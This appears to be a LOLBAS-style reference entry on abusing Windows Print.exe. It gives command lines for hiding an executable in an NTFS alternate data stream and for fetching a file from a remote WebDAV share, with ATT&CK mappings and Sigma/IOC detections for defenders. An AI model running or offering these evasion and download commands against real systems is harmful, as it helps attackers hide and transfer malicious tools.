.. /Print.exe ☆ Star

Alternate data streams | Copy

Used by Windows to send files to the printer

Paths:
C:\Windows\System32\print.exe
C:\Windows\SysWOW64\print.exe

Resources:
- https://twitter.com/Oddvarmoe/status/985518877076541440
- https://www.youtube.com/watch?v=nPBcSP8M7KE&lc=z22fg1cbdkabdf3x404t1aokgwd2zxasf2j3rbozrswnrk0h00410

Acknowledgements:
- Oddvar Moe (@oddvarmoe)

Detections:
- Sigma: proc_creation_win_print_remote_file_copy.yml
- IOC: Print.exe retrieving files from internet
- IOC: Print.exe creating executable files on disk

Alternate data streams

Copy file.exe into the Alternate Data Stream (ADS) of file.txt.

```
print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe
```

Use case: Hide binary file in alternate data stream to potentially bypass defensive counter measures
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: **T1564.004**: NTFS File Attributes

Copy

1. Copy FileToCopy.exe to the target C:\ADS\CopyOfFile.exe

```
print /D:C:\ADS\CopyOfFile.exe C:\ADS\FileToCopy.exe
```

Use case: Copy files
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: **T1105**: Ingress Tool Transfer

2. Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.

```
print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe
```

Use case: Copy/Download file from remote server
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: **T1105**: Ingress Tool Transfer